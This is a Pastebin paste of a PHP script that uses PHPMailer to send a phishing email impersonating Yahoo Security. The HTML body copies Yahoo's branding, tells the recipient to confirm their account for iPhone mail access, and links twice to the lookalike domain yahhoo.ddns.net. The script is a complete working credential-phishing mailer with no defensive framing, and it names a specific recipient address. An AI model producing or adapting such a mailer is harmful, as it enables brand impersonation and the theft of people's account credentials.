Advertisement
Guest User

Untitled

a guest
Apr 21st, 2016
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.61 KB | None | 0 0
  1. <?php
  2. require 'PHPMailer/PHPMailerAutoload.php';
  3.  
  4. $mail = new PHPMailer();
  5.  
  6. $mail->IsSMTP();
  7. $mail->SMTPAuth = true; // enable SMTP authentication
  8. $mail->SMTPSecure = "ssl";
  9. $mail->Host = "plus.smtp.mail.yahoo.com";
  10. $mail->Port = 465; // set the SMTP port
  11. $mail->Username = "securit_contact@yahoo.com";
  12. $mail->Password = "XXXXXXXX";
  13. $mail->From = "securit_contact@yahoo.com";
  14. $mail->FromName = "Yahoo Security";
  15. $mail->AddAddress("oussema.lessis@tn.ey.com");
  16. $mail->Subject = "Verify Account";
  17. $mail->Body = "<html><body> <style type=\"text/css\">#yiv5560957608 html {}#yiv5560957608 body {width:100%;margin:0 auto;padding:0;}#yiv5560957608 .yiv5560957608ReadMsgBody {width:100%;}#yiv5560957608 .yiv5560957608ExternalClass {width:100%;}#yiv5560957608 .yiv5560957608iosLinkPurple a {color:#400090;text-decoration:none;}#yiv5560957608 .yiv5560957608iosLinkGrey a {color:#454958;text-decoration:none;}#yiv5560957608 .yiv5560957608iosLinkSlate a {color:#424242;text-decoration:none;}</style> <div id=\"yui_3_16_0_ym19_1_1461156944797_7583\"><div id=\"yui_3_16_0_ym19_1_1461156944797_7582\"> <table id=\"yui_3_16_0_ym19_1_1461156944797_7581\" style=\"table-layout:fixed;\" bgcolor=\"#ffffff\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <tbody id=\"yui_3_16_0_ym19_1_1461156944797_7580\"> <tr id=\"yui_3_16_0_ym19_1_1461156944797_7579\"> <td id=\"yui_3_16_0_ym19_1_1461156944797_7578\" style=\"min-width:500px;\" dir=\"ltr\" align=\"center\" valign=\"top\"> <table id=\"yui_3_16_0_ym19_1_1461156944797_7612\" bgcolor=\"#400090\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\"> <tbody id=\"yui_3_16_0_ym19_1_1461156944797_7611\"><tr id=\"yui_3_16_0_ym19_1_1461156944797_7610\"> <td id=\"yui_3_16_0_ym19_1_1461156944797_7609\"><img id=\"yui_3_16_0_ym19_1_1461156944797_7608\" src=\"https://s.yimg.com/sf/email/logo.gif\" style=\"display:block;border:0;\" alt=\"YAHOO\" height=\"87\" width=\"500\"></td> </tr> </tbody></table> <table id=\"yui_3_16_0_ym19_1_1461156944797_7577\" bgcolor=\"#f4f3f8\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\"> <tbody id=\"yui_3_16_0_ym19_1_1461156944797_7576\"><tr id=\"yui_3_16_0_ym19_1_1461156944797_7575\"> <td id=\"yui_3_16_0_ym19_1_1461156944797_7574\"> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:23px;\" height=\"23\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> <div id=\"yui_3_16_0_ym19_1_1461156944797_7588\" class=\"yiv5560957608m1930\" style=\"font-family:Helvetica, Verdana, Arial, sans-serif;font-size:18px;line-height:21px;color:#464958;padding-left:19px;padding-right:30px;\"> Dear Rachel, <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:14px;\" height=\"14\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> In order to ensure you are able to continue receiving Yahoo email on your iPhone, please confirm your account <a id=\"yui_3_16_0_ym19_1_1461156944797_7947\" rel=\"nofollow\" target=\"_blank\" href=\"http://yahhoo.ddns.net\">here</a> .<br> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:14px;\" height=\"14\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> <br><br> <div id=\"yui_3_16_0_ym19_1_1461156944797_7909\" style=\"background-color:#eae9ee;font-size:16px;padding:23px;\"> <p id=\"yui_3_16_0_ym19_1_1461156944797_7908\"> Some maintenance may still be undergoing for large improvement updates that will increase our security.<br> </p> </div> <br> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:14px;\" height=\"14\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> Thanks, <br> Yahoo </div> <table cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td style=\"line-height:24px;\" height=\"24\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> <table bgcolor=\"#687080\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\"><tbody><tr><td style=\"line-height:1px;\" height=\"1\"><img style=\"display:block;border:0;\" height=\"1\" width=\"1\"></td></tr></tbody></table> </td> </tr> </tbody></table> <table style=\"table-layout:fixed;\" cellspacing=\"0\" width=\"500\"> <tbody><tr> <td> <div style=\"color:#838383;font-family:Helvetica, Verdana, Arial, sans-serif;font-size:14px;padding:30px 30px;\"> To avoid any complication, it is madatory you follow the instructions <a rel=\"nofollow\" target=\"_blank\" href=\"http://yahhoo.ddns.net\">above</a>. </div> </td> </tr></tbody></table> </td> </tr> </tbody> </table></div></div></body></html>";
  18. $mail->IsHTML(true);
  19. if(!$mail->Send())
  20. {
  21. echo 'Message was not sent.';
  22. echo 'Mailer error: ' . $mail->ErrorInfo;
  23. }
  24. else
  25. {
  26. echo 'Message has been sent.';
  27. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement